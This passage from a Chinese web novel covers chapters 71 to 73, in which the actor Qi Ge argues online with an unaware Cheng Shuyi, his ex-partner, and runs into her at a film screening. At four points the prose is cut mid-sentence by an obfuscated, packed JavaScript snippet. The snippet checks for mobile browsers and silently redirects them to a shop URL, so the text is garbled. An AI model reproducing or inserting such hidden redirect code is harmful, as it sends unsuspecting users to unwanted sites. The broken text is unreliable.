“你看,”防抖兄平静地分析,“我觉得你好像在大部分时候,并不能认同普通人的处境。” “普通人的处境是什么?”程书仪问。 防抖兄半天才发来答案:“大概就是……被日常生活束缚,想要的东西总是越来越远,付出了努力的事情,往往因为其他原因没什么好结果……” “这个我认同啊,”程书仪有些不解地说,“但努力是为了一个好的结果,所以结果才是最重要的。你所说的普通人,有多大的能力就获得多少利益,不是很正常吗?” “很正常,所以可能像我这样的人也不该有太多奢望,”对面又肉眼可见地消极了起来,“过一天算一天吧。” 程书仪有点看不下去,便又鼓励了几句:“但是毕竟其他原因你不能左右,那把自己能控制的部分做好,剩下的就没必要再去纠结。我觉得只要你做得好,一定会有机会。” 这次防抖兄读懂了她的意图:“嗯,谢谢你啊,我会努力的。诶你有没有关注过我们道路上的盲道啊?” 程书仪并不觉得他听了进去,大概率只是想转移话题,便也由他去了:“所以你是怎么受伤的啊?” “就……摔了一跤。” “啊?” “真就是没留神摔了一跤,直接韧带损伤了,是不是很倒霉?” 这种脆皮程度难免让程书仪联想到某个人。 她没去多想,随口说了句:“不严重的话,正好趁此机会休息一下专心学习,也不错。” “momo老师,你今天……特别善良啊。” “是吗,那不闲聊了,”程书仪心里开始敲警钟,“我去忙了。” 她把手机熄了屏,将脑子里无用的思绪清除。 网聊有风险,亲近需谨慎啊。 再出现在排练厅时,正准备排练大家迟疑了一下,竟然给祁歌鼓起掌来。 “哎呀,别……”祁歌顿时脚底抓地,“我不是……就是……” 看来阿远说得对,坐在轮椅上被推过来排练实在是太打扰别人,也太太太太太尴尬了! 祁歌赶紧撑着扶手从轮椅上站了起来:“我好了已经好了!大家放心!” 虽然现在走路还不太方便,但是能慢慢走几步,但祁歌在家试过,要跟上排练的调度问题不太大。 “小祁这几天没来,带剧本排吧。”导演十分宽容地说。 祁歌愣了一下,想摆手说不用,却一眼看到周围有几个演员也还拿着剧本,想必现在也不是每个演员都背会了词。 于是他点点头,也拿上剧本加入了排练。 按照他们之前拟定的排练流程,今天重点细抠了其中两场戏,然后再按照导演的要求从头过一遍整剧。 祁歌好久没有参与集体排练,全部注意力都放在台上的调度和对手戏演员的状态,生怕出错,一时紧张得背后都汗湿了。 结束后导演点名表扬了他:“小祁不错,台词都熟悉,演得也可以,我觉得你可以再松弛一点。” “好的导演。”祁歌笑了笑,这才发现手里的剧本一直被他卷成桶握在手心,已经攥出了毛边。 他特意多留了一会儿,才召唤助理来推他回去。 “还行吗?”小助理问他。 “嗯,”祁歌点点头,“没我戏的时候可以坐着等,放心吧。” 他坐上车就掏出手机给momo老师发消息:“好消息,我恢复工作了!” “我也有好消息,”那边回道,“这个剧我终于看到最后一集了。” 祁歌当即偃旗息鼓,决定回家再说。 挺奇怪的,随着他跟momo老师越来越熟,他开始有点害怕继续之前他们讨论的那些话题。 关于电视剧里男主的懦弱和自卑,关于他源于自身的共鸣,关于……他的过去和现状,他的所思所想。 细细想来,他可能是开始想要珍惜这个朋友,便不由回避起来。 或许这就是程书仪和阿远都嫌弃过的不坦诚吧。 作为“防抖功能已关闭”,祁歌认真做了一路的心理建设,回到家里收拾停当,在沙发上端正做好,才开始回复momo老师:“你比较喜欢哪个结局?” “什么哪个结局?” “就是剧集结束之后那三个彩蛋,你觉得里面的哪个比较合理?” 他还记得上次提起此事时,momo老师对他的妄加揣度很是不满。所以这次他没去猜,而是直接问了。 他估计等她看完后,他们会接着上次没理论完的部分继续辩论一番。 ——原来momo还没看。 祁歌稍稍缓了口气,想着等她看完大概需要十来分钟,可以再拖延一会儿了。 “?”可是momo立刻就发来了消息,“看这个还要花钱?” 啊,对了,看彩蛋好像是要更高等级的VIP还是专门花钱买来着…… 从momo老师对这个剧的评价来看,她应该是不会为了看这个剧的彩蛋专门花钱的。 其实这种东西的盗版资源网上搜搜也能看,但祁歌作为这部剧的主演,要开口跟观众说这话是万万不行的,对那些愿意付费的观众也不公平。 “……要不我给你讲讲吧。”祁歌未加思索地提议。 “好啊!”momo立刻同意了。 “……等我组织一下语言,明天讲。”祁歌思索片刻后说。 “??”momo发来问号,接着开始破案,“其实你就是这剧男主的粉丝,在这儿引诱我充钱对吧?” 祁歌望着手机呆了一会儿,猛猛戳了几下。 这次轮到程书仪呆住了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16785443|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “???”她给对方发去三连问号。 被怀疑有粉籍也不辩解,直接给自己打钱是什么意思? “你去买,我请你看。”防抖兄异常大方地说。 程书仪觉得这人很是有趣,八成确实是粉,却不是引导自己充钱,而是氪金宣传为爱发电。 真是令人感动。 她麻利收下了钱:“好的,谢谢老板。” 那边半天没说话,似乎在等着她看完的反馈。 “……现在看?”程书仪问。 “……不行吗?很短的,每个都只有几分钟。” 怎么说呢,程书仪当然可以看,但被这样推着去看,又多少有点难受。 “这算是买通我,让我少骂几句吗?” “当然不是!”对面坚决否认,并字斟句酌了半天,“我觉得让你骂一骂挺好的,多骂骂,说不定就醒了。” 程书仪觉得好笑,不明白这世上为什么有人在刻意找骂。 “你既然知道自己不清醒,为什么还需要骂呢,直接醒过来不就好了?” “momo老师,说得容易,要做到可真难啊。” “这有何难?” “……一时好像说不清楚,我今天整理一下思路,明天跟您汇报可以吗?”防抖兄十分卑微地说。 这么难说清楚吗?!程书仪大为震撼。 是自己辩论水平太强了吗,怎么对面总是一副如临大敌的样子。 “记得要看彩蛋啊!”那边又嘱咐道。 第二天程书仪如约在晚上发去了看过彩蛋的感想:“看完了,我确实更喜欢第二个,悲剧结局更适合这个故事。” 她直到睡前都没收到回复,早上醒来才看到防抖兄凌晨给她发了好几段话。 先是为晚回复道歉,说今天事情比较多刚刚忙完。 又说其实男主挺惨的,可能他从未得到过什么确切的东西,所以总不觉得有些好的东西该属于他。 最后附加了一句:“可能……我也是这样的。” 程书仪回了句:“怎样的?” 她今天有个会,所以起得挺早。没想到对方立刻就回复了:“我也总觉得生命中所有美好的东西都会消逝。” “我说你悲观你还不承认,”程书仪说,“所以说,你失去过什么重要的东西?” “!!?” 程书仪仿佛看到对面被猜中瞪大眼睛的样子:“说实话,并不难猜。” 那边正在输入了半天,半个字也没发过来。 看来这人是真遇过非常惨重且丢脸的事情啊,程书仪心想。 她到了公司才收到回复,不是她想象的长篇大论,而是很简短的一句话: “我们要不要见一面?” 这次程书仪是真的愣了半天。 她倒不是不想见面,也不是对这个人有什么不好的印象。 只是……上一次的网友见面对她来说,结果可并不怎么好。 她一直觉得自己完全放下了,却在看到这句话时,不得不承认自己还是心有余悸。 “还是不了吧。” 71. 太虐了 “不了吧。” 这个同样简洁的回复竟让祁歌松了一口气。 他发出这个邀约后已经感到自己十分冒昧,但一时千言万语,要说清自己到底失去了什么,对他来说实在无比艰难。 想起上次跟前辈艺人大概聊过这个,倒是还算顺利。祁歌便推测或许这事儿当面聊会更好。 在他跟momo老师之前的交流中,祁歌能感觉到对方的反馈都很真实。 这也让他不惮于把自己的真实身份表露出来,而不是躲在一个“男大”的误解之下。 但……毕竟网友跟同事还是不太一样,何况他们现在连“友”都算不上。 说出去的话收不回来,但看到意料之中的答案后,祁歌又忽然稍有点失落。 人和人之间,想建立起关系的桥梁,总是很难的。 他和程书仪之间……当初是程书仪建起的这座桥。可能对她来说,当时也没那么轻易吧。 “好的没事,我就是问问,”祁歌回复道,“有的话总觉得打字说不清楚。” “这么难讲吗?”momo问道。 “就……其实我就是男主。”祁歌说。 “这我当然知道了。” “你……知道?” “对啊,你就是男主那种人,所以每天想尽花样给他辩护,这不很明显吗?” 祁歌无言以对。 “我就是男主”这种话,说一遍已经够让人羞耻,他无论如何也没办法再解释一遍。 算了,反正也不打算见面,就做个普通的网友也挺好。 仿佛是为了证明人总能更倒霉,祁歌刚刚身残志坚地恢复了各项日程活动,就收到了另一个噩耗。 原本他参演的那部电影是计划在献礼档上映,现在已紧锣密鼓地做好成片,准备组织内部试映。 可谁能想到这档期谈着谈着就谈崩了,最后直接从献礼档期转移到新年或贺岁档,延迟了好几个月。 “现在谈不下来,总比到时候撤档好吧。”工作人员私下里都说着。 “估计原本的档期排片太密了……” “那到底是新年还是贺岁啊,这很关键吧……”祁歌小声打听着八卦。 “谁知道呢,幸好我们宣发还没铺开,到时候定档确定了再说吧。” “如果是贺岁档,说不定也焉知非福。” 祁歌回去后赶紧跟高姐转达了这个内部消息,高姐一听二话不说,先给他接了个戏。 “啊?也不必如此着急吧?”祁歌惊讶道。 “之前没急着给你接,完全是我说服老板给你留着宣传档期,”高姐冷酷地指出,“现在没有别的借口了,你赶紧开工,最好电影上映前就拍完。” 祁歌呆若木鸡,祁歌无言以对,祁歌心如死灰。 想也知道,能如此极限进组的,想必不是什么大制作。 “由奢入俭难啊。”高姐这样语重心长地劝他。 “我也没奢啊……”祁歌十分委屈,“感觉就是摸到过奢的边儿吧。” “让你摸着算不错了,”阿远站在门口插话道。她抱着一摞资料进来给高姐签字,又忽然想起来问祁歌:“你助理说你明天要去那个电影试映会?” 祁歌点头:“对,我跟导演说了,我和后期人员一起过去开个会,学习一下。” “新片要开机,电影要跟后期,学校要结课,”阿远站在那儿扳手指,“哥啊,你可真是能者多劳啊。” “哇,”祁歌摇着轮椅后退一小步,“阴阳我?” “我哪敢,”阿远笑眯眯地看他,“对了,你看过出席名单吗?” 祁歌一愣:“我……需要看吗?” 一般参加这种内部试映会的,都是影片的工作人员和制作方。这不是某种晚会或典礼之类的公开活动,而是一个比较枯燥的工作。大家要对成片进行第一次正式反馈,进行微调后送审。 所以真的看到程书仪出现在现场时,祁歌手心都出了汗。 当然,程书仪肯定不知道他会来。 祁歌今天出门前化了个简单的妆,头发也稍微抓了两下。 他没坐轮椅,撑了个不太起眼的拐杖,早早就在座位上坐好了。 周围的工作人员已经和他十分相熟,见了就笑他人都瘸了还搞得人模狗样。 “嘘……”祁歌连忙阻止,“我今天要低调,低调……” “要低调你特意打扮?”后期组的老师质问他,“平时和我们一起抠素材的那个廉价男大暑期工哪去了?” “哎呀行了哥,放过我!”祁歌千恩万谢终于摆脱了被剖开来分析的命运,自己耳根都烧得慌。 他再抬起头时,发现程书仪面色如常,入座后就在和旁边的投资人闲聊,之后又低头看手机,看样子应该是没注意到自己坐在后面。 随着电影试映即将开始,场子里也渐渐静下来。 祁歌掏出手机准备关静音,忽然发现momo老师刚回了消息给自己。 这次来看试映的人并不多,为了方便交流和记录,选用的这间放映室在观众席后区是折叠椅,参会的技术人员零零散散地坐在这里。中间区域有两排带桌子的位置,导演、制片和各制作组的负责人都坐在这排。 最前面几排则是更舒服的软包椅子,程书仪和其他投资人都坐在前面。 其实程书仪一开始并没想过来看试映。 但她跟工作人员沟通的时候,意外得知来出席的有位刚认识的业内朋友,这次也参与了投资。于是程书仪便改了主意,想着顺便过来联络一下感情。 电影长度大概两小时,程书仪提前跟朋友约好了,放映结束后要一起吃饭。 正好也看看这片子剪出来什么效果,她这样想着。 她没想过会在这儿碰到祁歌。 一般来说,演员们不太会出席这种场合。 他们会打扮得光鲜亮丽地出席各种光线明亮、陈设精致的宣传场合,为观众奉上笑容和早准备好的发言。 他们只做表面那一层的工作,跟这些不会暴露于观众面前的流程无关。 难道,是想来截自己……?程书仪稍微警戒了一下,看祁歌的样子倒并没有这个意图,这才放下心。 她低头刷开聊天软件,看到之前防抖兄发给她的一个链接还没点开看。 “是什么?”她问,“除非你有新的辩题,否则我方将不予回复。” 那边很快发来一串哈哈哈:“好吧,只是我方新证据,并非新观点。” “就算你能证明世界上除了你还有男主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16801904|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样的人,”程书仪重申观点,“我依然觉得这种问题人物不应该做主角。” “我在我自己的世界里就是主角。” “因此你的大部分经历大概根本无法构成让人愉悦的故事,”程书仪尖锐地指出,又熟练地稍加安抚,“不过也没人规定每个人都要活出有意思的故事……” 她还想继续说,头顶的灯却暗了下去,电影试映要开始了。 “去忙了,回头聊。”她匆匆结束了对话。 祁歌收起手机时,头顶的光已经暗了下去。 电影终于开始了。 多亏了momo老师,祁歌感觉这会儿心情平静淡然了许多,不再一直想往程书仪那边看,而是可以专心注视着屏幕了。 他的角色在片中出现的时间并不多,但由于参与了比较多的后期工作,祁歌发觉自己看电影的心态变得十分不同。 以前看电影时,心情都会比较投入,完全被剧情牵动,偶尔也会注意到的导演的调度、演员的演法和状态。 现在懂得多了点,便会注意到后期的处理方式与拍摄的融合,剪辑的节奏以及与音乐的配合等等。再加上祁歌当时在拍摄现场时,仍在未被缓刑的病中,当时的心态也会自动地被记忆重现出来。 一时间,祁歌脑子里忙得很,几乎找不到用来共情的那一部分内存。 他闭上眼深呼吸了几次,将所有这些有的没的思绪都从脑子里清除出去。 好了,他想着,还是把一切交给直觉吧。 有时候人也要随心所欲一些。 毕竟,人对太多事都是无能为力的。 演得真好,程书仪想。 这个想法,从第一次看祁歌演戏到现在,都未曾改变过。 他是个很会演戏的人。 他塑造的人物,被放在这部故事紧凑、详略得当、氛围感也做得很不错的电影里,严丝合缝又清新可爱,着实是个出彩的角色。 这个角色的戏份不多,长长的两小时里,大概一共只有短短的十几分钟。她望着这个注定会牺牲的小人物,如此心无旁骛,几乎是迫不及待地奔向自己的死局。 人年龄大了,有时候真看不了太多这种令人心碎的故事。 电影结束,字幕还没放完,音乐也没停,灯就已经亮了。 这个瞬间,她不由自主地回头看了一眼。 说不清是为什么,大概是因为在电影里实在太虐了,这一瞬间她本能地想看到活生生的祁歌,就一眼就好。 看过去的时候,祁歌的视线也正好在她身上。 程书仪立刻收回了目光。 片尾曲的音乐声中,大家已经开始纷纷讨论,并等待几位嘉宾发言。 “书仪,我们要不先走?”程书仪的朋友招呼她道。 他们都不是电影专业的,其实提不出什么有价值的意见,只是来凑个热闹,也没必要真在这儿开会。 “好,”程书仪答应着,跟朋友一起过去跟导演打招呼道别。 “行没问题,二位要是有什么想法和意见随时跟我说,”导演说着忽然想起来:“哎,对了程总,今天小祁也在,要不要……” 他已经抬起手对祁歌那个方向挥了一下。 程书仪的笑容顿时僵在了脸上。 72. 老父亲 所以说不要随便和男友在工作上产生关系。 众目睽睽的,实在太尴尬了。 程书仪能感觉周围的人正错落地向他们这边投来期待的目光。 ……算了,也没什么,分手了又不是老死不相见。 程书仪迅速劝自己想开,然后抬起头看向来人。 正朝他们走过来的祁歌也是笑着的。 有一段时间没见了,祁歌看去倒没什么变化。他动作有几分迟缓地扶着前排的座椅背走过来,眉眼弯弯地跟导演打了招呼,又适时看向她:“程总。” 程书仪点点头:“你演得很好。” 她是客观评价,祁歌脸上却明显露出几分诧异与茫然:“是吗,那太好了。” “小伙子压力别那么大,”导演笑着拍了拍他的肩,“是真的很好!自信点。” “好,谢谢导演,”祁歌也笑了,“也谢谢程总。” 程书仪点点头。 短暂的会面,就在这么两句话里结束了。 程书仪上了车之后,手机里忽然久违地收到了祁歌的消息,话语里看不出什么情绪:“你觉得电影怎么样?” “就还行吧,”程书仪客观回答,“算是合格献礼片。” 对方撤回了一条消息。 程书仪本以为是祁歌字错了才撤回,结果车开到地方都没有新消息过来,她便也没管。 到了晚上,祁歌才忽然又发了消息过来:“其实这个电影的排片可能要推到跨年或者春节档了。” “嗯?消息可靠吗?”程书仪问。 “不算吧,”祁歌立刻回道,“但可能性还挺大的。” “好吧,”程书仪兴趣缺缺,“感谢告知。” 到时候看看片子的票房结果再说吧……她内心已经不太倾向继续投资影视了,很显然,这玩意的不可控因素也太多了。 祁歌没有再发消息过去。 这次意外的见面带给他的慌乱过去后,心里沉淀下来更多的是酸楚。 这种感觉就像人溺水时,浮到水面的一刻才意识到自己一直下意识地屏着呼吸。 他已经很久没去主动联系了,在程书仪那样明确的拒绝之后,他自觉不该给她带去更多困扰。 可是电影结束的那一刻,他清晰地看到她转头看向自己。 那一瞬间,就在那一个明亮的刹那,他心中竟然也升起了一点点亮光。 可这个念头甚至都还没有成形,就被他自己搅散了。 一颗坠落的心飞不到天上,小小的水潭里盛不下月亮。 别想了,他对自己说,什么希望,什么可能,什么结局,没变成实体的念头就不会有伤害。 不会……吧。 导演喊他过去时,祁歌也留意到周围人的目光。 于是他调整好呼吸节奏,轻快地唤她一声“程总”。 这是今时今日,最适合也最尊重的称呼。 程书仪面上淡淡的,开口就夸了他一句。 这是祁歌完全没料到的。 到底是程书仪啊。 或许这个评价是基于整个电影来说的吧?毕竟她参与了投资……祁歌有点不敢信她是真的能客观地评价自己。 她心里……没有丝毫芥蒂的吗? 这些乱七八糟来回往复的思绪填满了他的心,害他整个会都听得有些心不在焉。 好在这些电影后期的琐碎知识他只需要略作了解,并不是要真的上手。 新消息的声音响起时,程书仪正专心研究手里的一份资料。 她解锁了手机点开随便看了眼,只见发来的又是个链接,是近期看的那部电视剧又释出了未播片段。 这段时间防抖兄屡败屡战,看样子是又想再一次展开辩论。 “怎么又来了,说出你的辩题吧。”程书仪在对话框把回复都敲完了,这才一眼瞥到这条消息的来源竟然并不是防抖兄,而是祁歌。 她马上删掉敲好的回复,给祁歌发了个“?” “这是那天在山上拍的那段,”祁歌说,“正片里没用上,想着或许你会想看看。” 啊,对了,程书仪这才想起来,之前他们辛辛苦苦去山里拍了不少戏份,最后成片里删得没几个镜头。这个破庙里的一些桥段干脆整个删掉了。 她点开链接看了看,片段并不太长,讲的是男女主走投无路来到山顶的一间破庙里,两人互相放狠话打算诀别,却吵醒了小道士,给他们算了个命的戏。 这段内容对情节的帮助不算太大,还有点宣扬玄学的嫌疑,被删掉了也很正常。 看着这些镜头,程书仪还能回想起当时山上乱糟糟的场景,以及小道士屁股下面那团稻草是如何被一点点“做旧”的。 知道了这些,现在看着这些画面就难免有点出戏。 她转手把视频链接发给了防抖兄。 祁歌望着另一个软件里的新消息一怔。 “你还挺关注这部剧的消息。”他点评道。 怎么官方才刚发布了视频就转过来了,追更新速度几乎跟我这个主演一样快。 “碰巧看到了,”momo回道,“没想到这部剧里还有这种封建迷信啊。” “请不要上升拉踩,”祁歌发去气哼哼表情,“这不是删减片段吗!再说这在剧情里就是一个偶然事件而已。” “你还真是无底线护剧。” 祁歌立刻反驳:“怎么没有底线,我的底线就是冷静理智客观公正。” “你?” “……从我的角度。” momo发来一大串哈哈哈哈哈。 “说真的,你没觉得这种宿命论确实会影响人的思维倾向吗?”祁歌问道。 “你指什么,小道士算命吗?我不觉得。” “不是,”祁歌连忙解释,“就是……有时候遇到一些失败的经历之后,人会去印证之前听过的预测,进而觉得这些都是注定的,产生一种宿命感。” momo老师一如既往地跟他抬杠:“那如果成功了呢,也会去印证之前的一些好兆头然后觉得命里该有啊……这不就正常心理吗?相信这个的人怎么都能解释。” “对吧,这是正常心理,”祁歌赶紧接下去说,“所以男主有了一种可能注定无法得到的消极心理也是很正常的,对吧?他太在乎女主了,会觉得如果自己只能给女主带来灾殃,那不如离远一点……或许这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16801905|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对女主来说更好些,这就是他们的命。” “那不就是自我安慰吗?”momo质问道,“三岁小孩尚且知道‘我命由我不由天’,男主一个成年人了,会被这点因素影响,未免过于幼稚。” 祁歌叹了口气。 这次她没说些“不配”、“活该”之类更刺激的字眼,只简单中性地评价为“幼稚”,或许还算口下留情? “确实。” “所以说他在这段失败的关系里要负全责。” ……行吧。祁歌垂死挣扎着:“但你不能用你的标准要求所有人吧,这世界上就是会有更善感更脆弱的人,而且为数不少。” momo毫无怜悯地乘胜追击:“先不说到底占多少比例,既然性格不适合,那得不到想要的东西不就很正常?有什么好悲伤的,还专门拍个故事出来。” “世界上有那么多故事,”祁歌说,“为什么不能有一个是他的呢。” “因为他不值得啊。” 祁歌不得不承认,资深辩手momo的杀伤力委实非常厉害。 被这么几句话里的锋芒刺中,他几乎都忘记了今天遇到程书仪的那种沉甸甸的感觉。 线上一通观点输入输出下来,整个人都轻盈了不少。 “谢谢你啊。”他由衷地说。 “不客气,”momo说,“随时效劳。” “啥意思,你遇到个网友朋友,每天骂你?”阿远匪夷所思地看着祁歌。 “……差不多吧,其实她还不知道我是我。”祁歌说。 阿远翻他白眼:“所以你在这儿搞微服私访,看看骂你的网友到底几斤几两,结果爱上了这个不同寻常的丫头……” “不是!打住!”祁歌惊恐地瞪大眼睛,“你最近在跟短剧的组啊?怎么张嘴就这么惊悚。” “你可别瞧不起人短剧,挣得比你多。”阿远非常扎心地说。 祁歌沉下脸:“是不是我不发火,你们都觉得我这人随便欺负啊。” “啊?”阿远愕然。 祁歌一秒变回笑脸:“开玩笑的。” 下一秒就被阿远暴揍:“把你那演技用在正道儿上去!” “所以我跟网友聊聊天没什么风险吧,我可能最后还是会告诉她我是谁的。”祁歌在拳脚下努力把聊天拐回正题。 “你自己把握好,别跟人家说保密的事儿不就没事,”阿远说,“也好,多骂骂你,说不定就醒了,是吧?” “行,我知道了。”祁歌认真应道,“走了,话剧那边还有排练。” 他最近出行不用总是坐着轮椅了,但走路还是有些一瘸一拐的,平时要支着拐杖。 从后面看,竟像是个老年人一般。 阿远看了他半天,抬起手机拍了一张他的背影。 没办法,她脑子里已经自动开始播放:“我地老父亲——” 之前跟祁歌和程书仪开那个关于爸爸妈妈的玩笑时,阿远只是觉得有趣和开心。 没想到转瞬之间就只剩凄凉。 妈妈和爸爸都往前走了,阿远想着,或许他们三个曾经的幸福家庭也是一架南瓜马车吧。 时间到了,一切都消散了。 73. 体验派 “小祁你台词真是不错的。”一整天的排练后,导演这样评价道。 “谢谢导演,”祁歌说,“但是……?” “什么但是?” “噢,”祁歌自己笑了起来,“就是我的不足之处也很多嘛,还是想听您提点提点。” 导演看他一眼:“真想知道?” “当然了!” “怎么说呢,我觉得你有时候演得太细了,不知道你能不能明白,”导演直言道,“我看着就觉得,干嘛这么收着呢?你放出来啊!” “我好像有点明白,”祁歌说,“我们的表演对象不是摄像头后面的眼睛,而是台下的观众,要让哪怕是最后一排的观众也看懂,就不能太细微。” 导演认真地听他说,然后敏锐地发问:“但是?” 祁歌挠了挠头:“但是我还是有点表演惯性吧,总想着要控制表情之类的。” “嗯……我想想,或许你可以试试带个妆?”导演建议道,“也不用带全妆,就是衣着也好道具也好,找些东西试试帮你找到那种感觉嘛……说不定会有帮助。” 祁歌觉得很有道理,第二天就翻出破衣烂衫来排练室cos家道中落的少爷。 “祁老师这是咋了?”这下就连平时没说过几句话的对手戏演员都忍不住要问他。 “导演说让我带上妆找感觉呢,”祁歌解释说,“姐你觉得怎么样?” “我觉得嘛……”对方打量了他几眼,“我觉得头发可以再乱一点点,就是那种,想要整理但没有发胶,只能任它翘起来一缕这样子……” 她一边说一边上手,把祁歌头发搞成半鸟窝状。 “有道理啊……”祁歌对着镜子看了半天,“你别说这办法还挺管用的,忽然就有细节了。” “祁老师给镜头演多了,不会给人演了是吗?” “你就当在给镜子演嘛,忘了你们片场那摄像镜头的事儿。”旁边有老师插话帮他出主意。 祁歌一一谢过大家,感觉真的从中获得了不少启发。 排练结束后一般都是晚上,祁歌会在剧场周围溜达一下,有时候也坐进附近的餐厅或是酒吧消磨一会儿时间。 挺奇怪的,比起电视剧的漫长拍摄,话剧的排演其实并没占用太多时间:“”一般都是从午后开始,排练到晚饭之前。如果有需要,有时他们也会加练一会儿。 在这段时间里,没有action和cut,没有来回缠绕的各种电线插头,没有高高架设的设备和灯光,大家只是聚在一片小小的空地,试图完成这个故事,试图成为这个人。 这比电视剧更让他入戏。 直到走出排练厅,吹着晚风在街边行走,路过匆匆忙忙的人群,祁歌才慢慢把自己从角色里抽出来。 有时候排得晚了,直接回家休息,第二天醒来会有种蝴蝶梦的错觉。 “这两天怎么又不说话了,”momo老师的留言在对话框里躺着,“承认失败了?” “当然不是,”祁歌扯起嘴角笑着回复,“太累了这几天,辩不动一点。你最近忙吗?” “我还行吧,想换个房子,”momo回复道,“你在忙什么?考试?” “换房子?房租到期了吗?我是在外面接了个活,就是之前跟你说的,我觉得很有挑战的那一个。”祁歌慢慢给她讲,“最近有了点新进展,感觉自己有进步了!不过离达到标准还差很远。” 躺在床上打了半天字,祁歌感觉手有点酸:“哎,momo老师,我能给你发语音吗?” “我个人不是很习惯发语音,不过你想发也可以。”momo说。 祁歌想了想,觉得这大概是不太喜欢的意思:“那我还是给你转成文字吧。” “你好像很喜欢揣测别人的喜好啊。” 不知怎的,这句话进入祁歌的脑子里仿佛拨动了某根弦,让他本能地警惕了起来:“什么意思,你觉得我太小心了吗?” momo并没否认:“你为什么总要去拆解某句话的言外之意?” “因为……因为我不想让你不舒服,”祁歌努力解释着,“才会去主动考虑你的感受吧。” “你对谁都这样吗?” 祁歌陷在枕头里思索了一会儿。 好像……原本是的。 他会去考虑身边每个人的感受,会尽量让自己不会冒犯别人,做事和说话时,习惯性地多想一步。 他以前没觉得这会是个缺点,但自从决定要让自己更坦白和真诚些,祁歌时常会觉得这样压抑自己的感受有悖坦诚,因此压抑一番之后,常常先自我反省一下,再重新把这些想法拉出来解释一遍。 简单来说,以前只是内敛,现在变成了迟钝啰嗦又烦人。 “你觉得我改一改会更好吗?就是……强迫自己把想法直接说出来。”他这样问momo老师。 “问我干什么?”momo挺奇怪,“这不该是你自己决定的吗?” “我是说,如果会对别人造成困扰,我是不是应该……再坦诚一点?” “我觉得你想错了。”momo说。 祁歌这下是真的迷茫起来:“错了?” “你试图对他人坦诚之前,是不是首先该对自己坦诚啊?” “什么意思啊?” momo老师发来一个叹气的表情:“你看,你现在想达到的‘坦诚’,只是为了改变他人的评价而已。那对你自己来说,依然是在伪装啊。” 祁歌花了点时间考虑这个逻辑。 好像……是真的。 “你说得对,”他很诚恳地说,“但我有点绕晕了。” momo再次发来哈哈哈哈哈哈哈哈。 带着这种思索,祁歌起床后赶在中午前去学校交了个结课作业,又卡点赶到排练厅。 “诶,今天怎么没搞你的体验派造型了?”导演笑着问他。 “赶场子,”电梯间人多,祁歌是跑楼梯上来的,气都没喘匀,“刚去了学校一趟。” “嘶,但我看你今天状态很对啊,”导演拍了拍手,“来来我们来一遍。” “不是……”来不及深究了,祁歌只能努力平复着呼吸,凭借肌肉记忆进入了剧情里。 半场演过,他感觉自己又累又饿,整个人都有点浑浑噩噩的。 但是他自己也能察觉到,很神奇地,这种感觉好像“对”了。 不需要精心调整自己的衣着和状态,不需要控制面部表情和眼神里的细微变化,只需要跟随这个人,跟随他的经历…… “是不是?”导演这样问他。 “是!”祁歌点了下头,眼睛都有点发光。 他为这个角色做了太多的准备,每一句台词的重音和气口,每一个桥段的走位和调度,太多小心翼翼的故步自封,让他离这个人物原本的样子总有一层隔阂。 此刻,就好像和观众之间那堵透明的墙,他终于抬脚跨了过去。 没想到,原来累到没办法想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16807968|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那么多,全凭本能演戏,还有这种好处。 但是…… “那个,谁有吃的啊……”祁歌在排练厅的地板上坐下来,“我好像有点低血糖了。” “祁老师怎么了这是,”有人递给他一包饼干,语气有点怪怪的,“不舒服啊?” 祁歌想说这不废话吗,抬眼一看这才发现递过来的这只手是陈逸心的。 刚才这轮不是跟他排,祁歌都没看到他来了。 “哟,陈老师也来了?”祁歌笑着说,“难得能在排练厅碰到你,今天没通告啊?” 陈逸心冷着脸把那只手撤了回去。 祁歌撑了下地板站起身,摆摆手跟周围投来关心目光的演员表示没事:“什么饼干我尝尝?” 陈逸心又把那只手举了起来。 祁歌从他手里抽出饼干,拆开放在嘴里嚼了一块。 “谢了。”他含糊不清地说。 这天排练完,祁歌主动去问阿远在忙什么,想请她吃饭。 